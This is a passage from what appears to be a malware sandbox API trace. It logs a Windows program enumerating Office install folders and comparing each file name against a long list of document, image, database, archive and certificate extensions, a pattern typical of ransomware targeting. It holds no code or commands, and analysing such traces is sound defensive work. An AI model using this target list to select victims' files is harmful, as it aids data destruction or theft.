lstrlenW (lpString=".css") returned 4 [0251.175] lstrcmpiW (lpString1=".css", lpString2=".MPP") returned -1 [0251.175] lstrlenW (lpString=".csv") returned 4 [0251.176] lstrcmpiW (lpString1=".csv", lpString2=".MPP") returned -1 [0251.176] lstrlenW (lpString=".cub") returned 4 [0251.176] lstrcmpiW (lpString1=".cub", lpString2=".MPP") returned -1 [0251.176] lstrlenW (lpString=".dae") returned 4 [0251.176] lstrcmpiW (lpString1=".dae", lpString2=".MPP") returned -1 [0251.176] lstrlenW (lpString=".dat") returned 4 [0251.176] lstrcmpiW (lpString1=".dat", lpString2=".MPP") returned -1 [0251.176] lstrlenW (lpString=".db") returned 3 [0251.176] lstrcmpiW (lpString1=".db", lpString2="MPP") returned -1 [0251.176] lstrlenW (lpString=".dbf") returned 4 [0251.176] lstrcmpiW (lpString1=".dbf", lpString2=".MPP") returned -1 [0251.176] lstrlenW (lpString=".dbx") returned 4 [0251.176] lstrcmpiW (lpString1=".dbx", lpString2=".MPP") returned -1 [0251.176] lstrlenW (lpString=".dc3") returned 4 [0251.176] lstrcmpiW (lpString1=".dc3", lpString2=".MPP") returned -1 [0251.176] lstrlenW (lpString=".dcm") returned 4 [0251.176] lstrcmpiW (lpString1=".dcm", lpString2=".MPP") returned -1 [0251.176] lstrlenW (lpString=".dcr") returned 4 [0251.176] lstrcmpiW (lpString1=".dcr", lpString2=".MPP") returned -1 [0251.176] lstrlenW (lpString=".der") returned 4 [0251.177] lstrcmpiW (lpString1=".der", lpString2=".MPP") returned -1 [0251.177] lstrlenW (lpString=".dib") returned 4 [0251.177] lstrcmpiW (lpString1=".dib", lpString2=".MPP") returned -1 [0251.177] lstrlenW (lpString=".dic") returned 4 [0251.177] lstrcmpiW (lpString1=".dic", lpString2=".MPP") returned -1 [0251.177] lstrlenW (lpString=".dif") returned 4 [0251.177] lstrcmpiW (lpString1=".dif", lpString2=".MPP") returned -1 [0251.177] lstrlenW (lpString=".divx") returned 5 [0251.177] lstrcmpiW (lpString1=".divx", lpString2="1.MPP") returned -1 [0251.177] lstrlenW (lpString=".djvu") returned 5 [0251.177] lstrcmpiW (lpString1=".djvu", lpString2="1.MPP") returned -1 [0251.177] lstrlenW (lpString=".dng") returned 4 [0251.177] lstrcmpiW (lpString1=".dng", lpString2=".MPP") returned -1 [0251.177] lstrlenW (lpString=".doc") returned 4 [0251.177] lstrcmpiW (lpString1=".doc", lpString2=".MPP") returned -1 [0251.177] lstrlenW (lpString=".docm") returned 5 [0251.177] lstrcmpiW (lpString1=".docm", lpString2="1.MPP") returned -1 [0251.177] lstrlenW (lpString=".docx") returned 5 [0251.177] lstrcmpiW (lpString1=".docx", lpString2="1.MPP") returned -1 [0251.177] lstrlenW (lpString=".dot") returned 4 [0251.177] lstrcmpiW (lpString1=".dot", lpString2=".MPP") returned -1 [0251.177] lstrlenW (lpString=".dotm") returned 5 [0251.177] lstrcmpiW (lpString1=".dotm", lpString2="1.MPP") returned -1 [0251.177] lstrlenW (lpString=".dotx") returned 5 [0251.177] lstrcmpiW (lpString1=".dotx", lpString2="1.MPP") returned -1 [0251.177] lstrlenW (lpString=".dpx") returned 4 [0251.177] lstrcmpiW (lpString1=".dpx", lpString2=".MPP") returned -1 [0251.177] lstrlenW (lpString=".dqy") returned 4 [0251.177] lstrcmpiW (lpString1=".dqy", lpString2=".MPP") returned -1 [0251.178] lstrlenW (lpString=".dsn") returned 4 [0251.178] lstrcmpiW (lpString1=".dsn", lpString2=".MPP") returned -1 [0251.178] lstrlenW (lpString=".dt") returned 3 [0251.178] lstrcmpiW (lpString1=".dt", lpString2="MPP") returned -1 [0251.178] lstrlenW (lpString=".dtd") returned 4 [0251.178] lstrcmpiW (lpString1=".dtd", lpString2=".MPP") returned -1 [0251.178] lstrlenW (lpString=".dwg") returned 4 [0251.178] lstrcmpiW (lpString1=".dwg", lpString2=".MPP") returned -1 [0251.178] lstrlenW (lpString=".dwt") returned 4 [0251.178] lstrcmpiW (lpString1=".dwt", lpString2=".MPP") returned -1 [0251.178] lstrlenW (lpString=".dx") returned 3 [0251.178] lstrcmpiW (lpString1=".dx", lpString2="MPP") returned -1 [0251.178] lstrlenW (lpString=".dxf") returned 4 [0251.178] lstrcmpiW (lpString1=".dxf", lpString2=".MPP") returned -1 [0251.178] lstrlenW (lpString=".edml") returned 5 [0251.178] lstrcmpiW (lpString1=".edml", lpString2="1.MPP") returned -1 [0251.178] lstrlenW (lpString=".efd") returned 4 [0251.178] lstrcmpiW (lpString1=".efd", lpString2=".MPP") returned -1 [0251.178] lstrlenW (lpString=".elf") returned 4 [0251.178] lstrcmpiW (lpString1=".elf", lpString2=".MPP") returned -1 [0251.178] lstrlenW (lpString=".emf") returned 4 [0251.178] lstrcmpiW (lpString1=".emf", lpString2=".MPP") returned -1 [0251.178] lstrlenW (lpString=".emz") returned 4 [0251.178] lstrcmpiW (lpString1=".emz", lpString2=".MPP") returned -1 [0251.178] lstrlenW (lpString=".epf") returned 4 [0251.178] lstrcmpiW (lpString1=".epf", lpString2=".MPP") returned -1 [0251.178] lstrlenW (lpString=".eps") returned 4 [0251.178] lstrcmpiW (lpString1=".eps", lpString2=".MPP") returned -1 [0251.179] lstrlenW (lpString=".epsf") returned 5 [0251.179] lstrcmpiW (lpString1=".epsf", lpString2="1.MPP") returned -1 [0251.179] lstrlenW (lpString=".epsp") returned 5 [0251.179] lstrcmpiW (lpString1=".epsp", lpString2="1.MPP") returned -1 [0251.179] lstrlenW (lpString=".erf") returned 4 [0251.179] lstrcmpiW (lpString1=".erf", lpString2=".MPP") returned -1 [0251.179] lstrlenW (lpString=".exr") returned 4 [0251.179] lstrcmpiW (lpString1=".exr", lpString2=".MPP") returned -1 [0251.179] lstrlenW (lpString=".f4v") returned 4 [0251.179] lstrcmpiW (lpString1=".f4v", lpString2=".MPP") returned -1 [0251.179] lstrlenW (lpString=".fido") returned 5 [0251.179] lstrcmpiW (lpString1=".fido", lpString2="1.MPP") returned -1 [0251.179] lstrlenW (lpString=".flm") returned 4 [0251.179] lstrcmpiW (lpString1=".flm", lpString2=".MPP") returned -1 [0251.179] lstrlenW (lpString=".flv") returned 4 [0251.179] lstrcmpiW (lpString1=".flv", lpString2=".MPP") returned -1 [0251.179] lstrlenW (lpString=".frm") returned 4 [0251.179] lstrcmpiW (lpString1=".frm", lpString2=".MPP") returned -1 [0251.179] lstrlenW (lpString=".fxg") returned 4 [0251.179] lstrcmpiW (lpString1=".fxg", lpString2=".MPP") returned -1 [0251.179] lstrlenW (lpString=".geo") returned 4 [0251.179] lstrcmpiW (lpString1=".geo", lpString2=".MPP") returned -1 [0251.179] lstrlenW (lpString=".gif") returned 4 [0251.179] lstrcmpiW (lpString1=".gif", lpString2=".MPP") returned -1 [0251.179] lstrlenW (lpString=".grs") returned 4 [0251.179] lstrcmpiW (lpString1=".grs", lpString2=".MPP") returned -1 [0251.179] lstrlenW (lpString=".gz") returned 3 [0251.179] lstrcmpiW (lpString1=".gz", lpString2="MPP") returned -1 [0251.179] lstrlenW (lpString=".h") returned 2 [0251.180] lstrcmpiW (lpString1=".h", lpString2="PP") returned -1 [0251.180] lstrlenW (lpString=".hdr") returned 4 [0251.180] lstrcmpiW (lpString1=".hdr", lpString2=".MPP") returned -1 [0251.180] lstrlenW (lpString=".hpp") returned 4 [0251.180] lstrcmpiW (lpString1=".hpp", lpString2=".MPP") returned -1 [0251.180] lstrlenW (lpString=".hta") returned 4 [0251.180] lstrcmpiW (lpString1=".hta", lpString2=".MPP") returned -1 [0251.180] lstrlenW (lpString=".htc") returned 4 [0251.180] lstrcmpiW (lpString1=".htc", lpString2=".MPP") returned -1 [0251.180] lstrlenW (lpString=".htm") returned 4 [0251.180] lstrcmpiW (lpString1=".htm", lpString2=".MPP") returned -1 [0251.180] lstrlenW (lpString=".html") returned 5 [0251.180] lstrcmpiW (lpString1=".html", lpString2="1.MPP") returned -1 [0251.180] lstrlenW (lpString=".icb") returned 4 [0251.180] lstrcmpiW (lpString1=".icb", lpString2=".MPP") returned -1 [0251.180] lstrlenW (lpString=".ics") returned 4 [0251.180] lstrcmpiW (lpString1=".ics", lpString2=".MPP") returned -1 [0251.180] lstrlenW (lpString=".iff") returned 4 [0251.180] lstrcmpiW (lpString1=".iff", lpString2=".MPP") returned -1 [0251.180] lstrlenW (lpString=".inc") returned 4 [0251.180] lstrcmpiW (lpString1=".inc", lpString2=".MPP") returned -1 [0251.180] lstrlenW (lpString=".indd") returned 5 [0251.180] lstrcmpiW (lpString1=".indd", lpString2="1.MPP") returned -1 [0251.180] lstrlenW (lpString=".ini") returned 4 [0251.180] lstrcmpiW (lpString1=".ini", lpString2=".MPP") returned -1 [0251.180] lstrlenW (lpString=".iqy") returned 4 [0251.180] lstrcmpiW (lpString1=".iqy", lpString2=".MPP") returned -1 [0251.180] lstrlenW (lpString=".j2c") returned 4 [0251.181] lstrcmpiW (lpString1=".j2c", lpString2=".MPP") returned -1 [0251.181] lstrlenW (lpString=".j2k") returned 4 [0251.181] lstrcmpiW (lpString1=".j2k", lpString2=".MPP") returned -1 [0251.181] lstrlenW (lpString=".java") returned 5 [0251.181] lstrcmpiW (lpString1=".java", lpString2="1.MPP") returned -1 [0251.181] lstrlenW (lpString=".jp2") returned 4 [0251.181] lstrcmpiW (lpString1=".jp2", lpString2=".MPP") returned -1 [0251.181] lstrlenW (lpString=".jpc") returned 4 [0251.181] lstrcmpiW (lpString1=".jpc", lpString2=".MPP") returned -1 [0251.181] lstrlenW (lpString=".jpe") returned 4 [0251.181] lstrcmpiW (lpString1=".jpe", lpString2=".MPP") returned -1 [0251.181] lstrlenW (lpString=".jpeg") returned 5 [0251.181] lstrcmpiW (lpString1=".jpeg", lpString2="1.MPP") returned -1 [0251.181] lstrlenW (lpString=".jpf") returned 4 [0251.181] lstrcmpiW (lpString1=".jpf", lpString2=".MPP") returned -1 [0251.181] lstrlenW (lpString=".jpg") returned 4 [0251.181] lstrcmpiW (lpString1=".jpg", lpString2=".MPP") returned -1 [0251.181] lstrlenW (lpString=".jpx") returned 4 [0251.181] lstrcmpiW (lpString1=".jpx", lpString2=".MPP") returned -1 [0251.181] lstrlenW (lpString=".js") returned 3 [0251.181] lstrcmpiW (lpString1=".js", lpString2="MPP") returned -1 [0251.181] lstrlenW (lpString=".jsf") returned 4 [0251.181] lstrcmpiW (lpString1=".jsf", lpString2=".MPP") returned -1 [0251.181] lstrlenW (lpString=".json") returned 5 [0251.181] lstrcmpiW (lpString1=".json", lpString2="1.MPP") returned -1 [0251.181] lstrlenW (lpString=".jsp") returned 4 [0251.181] lstrcmpiW (lpString1=".jsp", lpString2=".MPP") returned -1 [0251.181] lstrlenW (lpString=".kdc") returned 4 [0251.182] lstrcmpiW (lpString1=".kdc", lpString2=".MPP") returned -1 [0251.182] lstrlenW (lpString=".kmz") returned 4 [0251.182] lstrcmpiW (lpString1=".kmz", lpString2=".MPP") returned -1 [0251.182] lstrlenW (lpString=".kwm") returned 4 [0251.182] lstrcmpiW (lpString1=".kwm", lpString2=".MPP") returned -1 [0251.182] lstrlenW (lpString=".lasso") returned 6 [0251.182] lstrcmpiW (lpString1=".lasso", lpString2="11.MPP") returned -1 [0251.182] lstrlenW (lpString=".lbi") returned 4 [0251.182] lstrcmpiW (lpString1=".lbi", lpString2=".MPP") returned -1 [0251.182] lstrlenW (lpString=".lgf") returned 4 [0251.182] lstrcmpiW (lpString1=".lgf", lpString2=".MPP") returned -1 [0251.182] lstrlenW (lpString=".lgp") returned 4 [0251.182] lstrcmpiW (lpString1=".lgp", lpString2=".MPP") returned -1 [0251.182] lstrlenW (lpString=".log") returned 4 [0251.182] lstrcmpiW (lpString1=".log", lpString2=".MPP") returned -1 [0251.182] lstrlenW (lpString=".m1v") returned 4 [0251.182] lstrcmpiW (lpString1=".m1v", lpString2=".MPP") returned -1 [0251.182] lstrlenW (lpString=".m4a") returned 4 [0251.182] lstrcmpiW (lpString1=".m4a", lpString2=".MPP") returned -1 [0251.182] lstrlenW (lpString=".m4v") returned 4 [0251.182] lstrcmpiW (lpString1=".m4v", lpString2=".MPP") returned -1 [0251.182] lstrlenW (lpString=".max") returned 4 [0251.182] lstrcmpiW (lpString1=".max", lpString2=".MPP") returned -1 [0251.182] lstrlenW (lpString=".md") returned 3 [0251.182] lstrcmpiW (lpString1=".md", lpString2="MPP") returned -1 [0251.182] lstrlenW (lpString=".mda") returned 4 [0251.182] lstrcmpiW (lpString1=".mda", lpString2=".MPP") returned -1 [0251.182] lstrlenW (lpString=".mdb") returned 4 [0251.182] lstrcmpiW (lpString1=".mdb", lpString2=".MPP") returned -1 [0251.183] lstrlenW (lpString=".mde") returned 4 [0251.183] lstrcmpiW (lpString1=".mde", lpString2=".MPP") returned -1 [0251.183] lstrlenW (lpString=".mdf") returned 4 [0251.183] lstrcmpiW (lpString1=".mdf", lpString2=".MPP") returned -1 [0251.183] lstrlenW (lpString=".mdw") returned 4 [0251.183] lstrcmpiW (lpString1=".mdw", lpString2=".MPP") returned -1 [0251.183] lstrlenW (lpString=".mef") returned 4 [0251.183] lstrcmpiW (lpString1=".mef", lpString2=".MPP") returned -1 [0251.183] lstrlenW (lpString=".mft") returned 4 [0251.183] lstrcmpiW (lpString1=".mft", lpString2=".MPP") returned -1 [0251.183] lstrlenW (lpString=".mfw") returned 4 [0251.183] lstrcmpiW (lpString1=".mfw", lpString2=".MPP") returned -1 [0251.183] lstrlenW (lpString=".mht") returned 4 [0251.183] lstrcmpiW (lpString1=".mht", lpString2=".MPP") returned -1 [0251.183] lstrlenW (lpString=".mhtml") returned 6 [0251.183] lstrcmpiW (lpString1=".mhtml", lpString2="11.MPP") returned -1 [0251.183] lstrlenW (lpString=".mka") returned 4 [0251.183] lstrcmpiW (lpString1=".mka", lpString2=".MPP") returned -1 [0251.183] lstrlenW (lpString=".mkidx") returned 6 [0251.183] lstrcmpiW (lpString1=".mkidx", lpString2="11.MPP") returned -1 [0251.183] lstrlenW (lpString=".mkv") returned 4 [0251.183] lstrcmpiW (lpString1=".mkv", lpString2=".MPP") returned -1 [0251.183] lstrlenW (lpString=".mos") returned 4 [0251.183] lstrcmpiW (lpString1=".mos", lpString2=".MPP") returned -1 [0251.183] lstrlenW (lpString=".mov") returned 4 [0251.183] lstrcmpiW (lpString1=".mov", lpString2=".MPP") returned -1 [0251.183] lstrlenW (lpString=".mp3") returned 4 [0251.183] lstrcmpiW (lpString1=".mp3", lpString2=".MPP") returned -1 [0251.184] lstrlenW (lpString=".mp4") returned 4 [0251.184] lstrcmpiW (lpString1=".mp4", lpString2=".MPP") returned -1 [0251.184] lstrlenW (lpString=".mpeg") returned 5 [0251.184] lstrcmpiW (lpString1=".mpeg", lpString2="1.MPP") returned -1 [0251.184] lstrlenW (lpString=".mpg") returned 4 [0251.184] lstrcmpiW (lpString1=".mpg", lpString2=".MPP") returned -1 [0251.184] lstrlenW (lpString=".mpv") returned 4 [0251.184] lstrcmpiW (lpString1=".mpv", lpString2=".MPP") returned 1 [0251.184] lstrlenW (lpString=".mrw") returned 4 [0251.184] lstrcmpiW (lpString1=".mrw", lpString2=".MPP") returned 1 [0251.184] lstrlenW (lpString=".msg") returned 4 [0251.184] lstrcmpiW (lpString1=".msg", lpString2=".MPP") returned 1 [0251.184] lstrlenW (lpString=".mxl") returned 4 [0251.184] lstrcmpiW (lpString1=".mxl", lpString2=".MPP") returned 1 [0251.184] lstrlenW (lpString=".myd") returned 4 [0251.184] lstrcmpiW (lpString1=".myd", lpString2=".MPP") returned 1 [0251.184] lstrlenW (lpString=".myi") returned 4 [0251.184] lstrcmpiW (lpString1=".myi", lpString2=".MPP") returned 1 [0251.184] lstrlenW (lpString=".nef") returned 4 [0251.184] lstrcmpiW (lpString1=".nef", lpString2=".MPP") returned 1 [0251.184] lstrlenW (lpString=".nrw") returned 4 [0251.184] lstrcmpiW (lpString1=".nrw", lpString2=".MPP") returned 1 [0251.184] lstrlenW (lpString=".obj") returned 4 [0251.184] lstrcmpiW (lpString1=".obj", lpString2=".MPP") returned 1 [0251.184] lstrlenW (lpString=".odb") returned 4 [0251.184] lstrcmpiW (lpString1=".odb", lpString2=".MPP") returned 1 [0251.184] lstrlenW (lpString=".odc") returned 4 [0251.184] lstrcmpiW (lpString1=".odc", lpString2=".MPP") returned 1 [0251.185] lstrlenW (lpString=".odm") returned 4 [0251.185] lstrcmpiW (lpString1=".odm", lpString2=".MPP") returned 1 [0251.185] lstrlenW (lpString=".odp") returned 4 [0251.185] lstrcmpiW (lpString1=".odp", lpString2=".MPP") returned 1 [0251.185] lstrlenW (lpString=".ods") returned 4 [0251.185] lstrcmpiW (lpString1=".ods", lpString2=".MPP") returned 1 [0251.185] lstrlenW (lpString=".oft") returned 4 [0251.185] lstrcmpiW (lpString1=".oft", lpString2=".MPP") returned 1 [0251.185] lstrlenW (lpString=".one") returned 4 [0251.185] lstrcmpiW (lpString1=".one", lpString2=".MPP") returned 1 [0251.185] lstrlenW (lpString=".onepkg") returned 7 [0251.185] lstrcmpiW (lpString1=".onepkg", lpString2="J11.MPP") returned -1 [0251.185] lstrlenW (lpString=".onetoc2") returned 8 [0251.185] lstrcmpiW (lpString1=".onetoc2", lpString2="OJ11.MPP") returned -1 [0251.185] lstrlenW (lpString=".opt") returned 4 [0251.185] lstrcmpiW (lpString1=".opt", lpString2=".MPP") returned 1 [0251.185] lstrlenW (lpString=".oqy") returned 4 [0251.185] lstrcmpiW (lpString1=".oqy", lpString2=".MPP") returned 1 [0251.185] lstrlenW (lpString=".orf") returned 4 [0251.185] lstrcmpiW (lpString1=".orf", lpString2=".MPP") returned 1 [0251.185] lstrlenW (lpString=".p12") returned 4 [0251.185] lstrcmpiW (lpString1=".p12", lpString2=".MPP") returned 1 [0251.185] lstrlenW (lpString=".p7b") returned 4 [0251.185] lstrcmpiW (lpString1=".p7b", lpString2=".MPP") returned 1 [0251.185] lstrlenW (lpString=".p7c") returned 4 [0251.185] lstrcmpiW (lpString1=".p7c", lpString2=".MPP") returned 1 [0251.185] lstrlenW (lpString=".pam") returned 4 [0251.185] lstrcmpiW (lpString1=".pam", lpString2=".MPP") returned 1 [0251.186] lstrlenW (lpString=".pbm") returned 4 [0251.186] lstrcmpiW (lpString1=".pbm", lpString2=".MPP") returned 1 [0251.186] lstrlenW (lpString=".pct") returned 4 [0251.186] lstrcmpiW (lpString1=".pct", lpString2=".MPP") returned 1 [0251.186] lstrlenW (lpString=".pcx") returned 4 [0251.186] lstrcmpiW (lpString1=".pcx", lpString2=".MPP") returned 1 [0251.186] lstrlenW (lpString=".pdd") returned 4 [0251.186] lstrcmpiW (lpString1=".pdd", lpString2=".MPP") returned 1 [0251.186] lstrlenW (lpString=".pdf") returned 4 [0251.186] lstrcmpiW (lpString1=".pdf", lpString2=".MPP") returned 1 [0251.186] lstrlenW (lpString=".pdp") returned 4 [0251.186] lstrcmpiW (lpString1=".pdp", lpString2=".MPP") returned 1 [0251.186] lstrlenW (lpString=".pef") returned 4 [0251.186] lstrcmpiW (lpString1=".pef", lpString2=".MPP") returned 1 [0251.186] lstrlenW (lpString=".pem") returned 4 [0251.186] lstrcmpiW (lpString1=".pem", lpString2=".MPP") returned 1 [0251.186] lstrlenW (lpString=".pff") returned 4 [0251.186] lstrcmpiW (lpString1=".pff", lpString2=".MPP") returned 1 [0251.186] lstrlenW (lpString=".pfm") returned 4 [0251.186] lstrcmpiW (lpString1=".pfm", lpString2=".MPP") returned 1 [0251.186] lstrlenW (lpString=".pfx") returned 4 [0251.186] lstrcmpiW (lpString1=".pfx", lpString2=".MPP") returned 1 [0251.186] lstrlenW (lpString=".pgm") returned 4 [0251.186] lstrcmpiW (lpString1=".pgm", lpString2=".MPP") returned 1 [0251.186] lstrlenW (lpString=".php") returned 4 [0251.186] lstrcmpiW (lpString1=".php", lpString2=".MPP") returned 1 [0251.186] lstrlenW (lpString=".php3") returned 5 [0251.186] lstrcmpiW (lpString1=".php3", lpString2="1.MPP") returned -1 [0251.187] lstrlenW (lpString=".php4") returned 5 [0251.187] lstrcmpiW (lpString1=".php4", lpString2="1.MPP") returned -1 [0251.187] lstrlenW (lpString=".php5") returned 5 [0251.187] lstrcmpiW (lpString1=".php5", lpString2="1.MPP") returned -1 [0251.187] lstrlenW (lpString=".phtml") returned 6 [0251.187] lstrcmpiW (lpString1=".phtml", lpString2="11.MPP") returned -1 [0251.187] lstrlenW (lpString=".pict") returned 5 [0251.187] lstrcmpiW (lpString1=".pict", lpString2="1.MPP") returned -1 [0251.187] lstrlenW (lpString=".pl") returned 3 [0251.187] lstrcmpiW (lpString1=".pl", lpString2="MPP") returned -1 [0251.187] lstrlenW (lpString=".pls") returned 4 [0251.187] lstrcmpiW (lpString1=".pls", lpString2=".MPP") returned 1 [0251.187] lstrlenW (lpString=".pm") returned 3 [0251.187] lstrcmpiW (lpString1=".pm", lpString2="MPP") returned -1 [0251.187] lstrlenW (lpString=".png") returned 4 [0251.187] lstrcmpiW (lpString1=".png", lpString2=".MPP") returned 1 [0251.187] lstrlenW (lpString=".pnm") returned 4 [0251.187] lstrcmpiW (lpString1=".pnm", lpString2=".MPP") returned 1 [0251.187] lstrlenW (lpString=".pot") returned 4 [0251.187] lstrcmpiW (lpString1=".pot", lpString2=".MPP") returned 1 [0251.187] lstrlenW (lpString=".potm") returned 5 [0251.187] lstrcmpiW (lpString1=".potm", lpString2="1.MPP") returned -1 [0251.187] lstrlenW (lpString=".potx") returned 5 [0251.187] lstrcmpiW (lpString1=".potx", lpString2="1.MPP") returned -1 [0251.187] lstrlenW (lpString=".ppa") returned 4 [0251.187] lstrcmpiW (lpString1=".ppa", lpString2=".MPP") returned 1 [0251.187] lstrlenW (lpString=".ppam") returned 5 [0251.187] lstrcmpiW (lpString1=".ppam", lpString2="1.MPP") returned -1 [0251.187] lstrlenW (lpString=".ppm") returned 4 [0251.188] lstrcmpiW (lpString1=".ppm", lpString2=".MPP") returned 1 [0251.188] lstrlenW (lpString=".pps") returned 4 [0251.188] lstrcmpiW (lpString1=".pps", lpString2=".MPP") returned 1 [0251.188] lstrlenW (lpString=".ppsm") returned 5 [0251.188] lstrcmpiW (lpString1=".ppsm", lpString2="1.MPP") returned -1 [0251.188] lstrlenW (lpString=".ppt") returned 4 [0251.188] lstrcmpiW (lpString1=".ppt", lpString2=".MPP") returned 1 [0251.188] lstrlenW (lpString=".pptm") returned 5 [0251.188] lstrcmpiW (lpString1=".pptm", lpString2="1.MPP") returned -1 [0251.188] lstrlenW (lpString=".pptx") returned 5 [0251.188] lstrcmpiW (lpString1=".pptx", lpString2="1.MPP") returned -1 [0251.188] lstrlenW (lpString=".prn") returned 4 [0251.188] lstrcmpiW (lpString1=".prn", lpString2=".MPP") returned 1 [0251.188] lstrlenW (lpString=".ps") returned 3 [0251.188] lstrcmpiW (lpString1=".ps", lpString2="MPP") returned -1 [0251.188] lstrlenW (lpString=".psb") returned 4 [0251.188] lstrcmpiW (lpString1=".psb", lpString2=".MPP") returned 1 [0251.188] lstrlenW (lpString=".psd") returned 4 [0251.188] lstrcmpiW (lpString1=".psd", lpString2=".MPP") returned 1 [0251.188] lstrlenW (lpString=".pst") returned 4 [0251.188] lstrcmpiW (lpString1=".pst", lpString2=".MPP") returned 1 [0251.188] lstrlenW (lpString=".ptx") returned 4 [0251.188] lstrcmpiW (lpString1=".ptx", lpString2=".MPP") returned 1 [0251.188] lstrlenW (lpString=".pub") returned 4 [0251.188] lstrcmpiW (lpString1=".pub", lpString2=".MPP") returned 1 [0251.188] lstrlenW (lpString=".pwm") returned 4 [0251.188] lstrcmpiW (lpString1=".pwm", lpString2=".MPP") returned 1 [0251.188] lstrlenW (lpString=".pxr") returned 4 [0251.189] lstrcmpiW (lpString1=".pxr", lpString2=".MPP") returned 1 [0251.189] lstrlenW (lpString=".py") returned 3 [0251.189] lstrcmpiW (lpString1=".py", lpString2="MPP") returned -1 [0251.189] lstrlenW (lpString=".qt") returned 3 [0251.189] lstrcmpiW (lpString1=".qt", lpString2="MPP") returned -1 [0251.189] lstrlenW (lpString=".r3d") returned 4 [0251.189] lstrcmpiW (lpString1=".r3d", lpString2=".MPP") returned 1 [0251.189] lstrlenW (lpString=".raf") returned 4 [0251.189] lstrcmpiW (lpString1=".raf", lpString2=".MPP") returned 1 [0251.189] lstrlenW (lpString=".rar") returned 4 [0251.189] lstrcmpiW (lpString1=".rar", lpString2=".MPP") returned 1 [0251.189] lstrlenW (lpString=".raw") returned 4 [0251.189] lstrcmpiW (lpString1=".raw", lpString2=".MPP") returned 1 [0251.189] FindNextFileW (in: hFindFile=0x6cfa48, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd2daddbf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd2daddbf, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd305c7ba, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xea00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPUB.PUB", cAlternateFileName="")) returned 1 [0251.189] FindNextFileW (in: hFindFile=0x6cfa48, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd2daddbf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd2daddbf, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd305c7ba, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xea00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPUB.PUB", cAlternateFileName="")) returned 0 [0251.190] FindClose (in: hFindFile=0x6cfa48 | out: hFindFile=0x6cfa48) returned 1 [0251.190] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4188318 | out: hHeap=0x670000) returned 1 [0251.190] FindNextFileW (in: hFindFile=0x6cfa08, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2daddbf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b285e60, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b285e60, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SHELLNEW", cAlternateFileName="")) returned 0 [0251.190] FindClose (in: hFindFile=0x6cfa08 | out: hFindFile=0x6cfa08) returned 1 [0251.190] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x40f0050 | out: hHeap=0x670000) returned 1 [0251.192] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 0 [0251.192] FindClose (in: hFindFile=0x6d0348 | out: hFindFile=0x6d0348) returned 1 [0251.192] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41bde30 | out: hHeap=0x670000) returned 1 [0251.192] FindNextFileW (in: hFindFile=0x6d01c8, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VFS", cAlternateFileName="")) returned 0 [0251.192] FindClose (in: hFindFile=0x6d01c8 | out: hFindFile=0x6d01c8) returned 1 [0251.193] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4135060 | out: hHeap=0x670000) returned 1 [0251.193] FindNextFileW (in: hFindFile=0x6d0548, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 0 [0251.193] FindClose (in: hFindFile=0x6d0548 | out: hFindFile=0x6d0548) returned 1 [0251.193] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41658b8 | out: hHeap=0x670000) returned 1 [0251.194] FindNextFileW (in: hFindFile=0x6d02c8, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82e68d8a, ftCreationTime.dwHighDateTime=0x1d327e7, 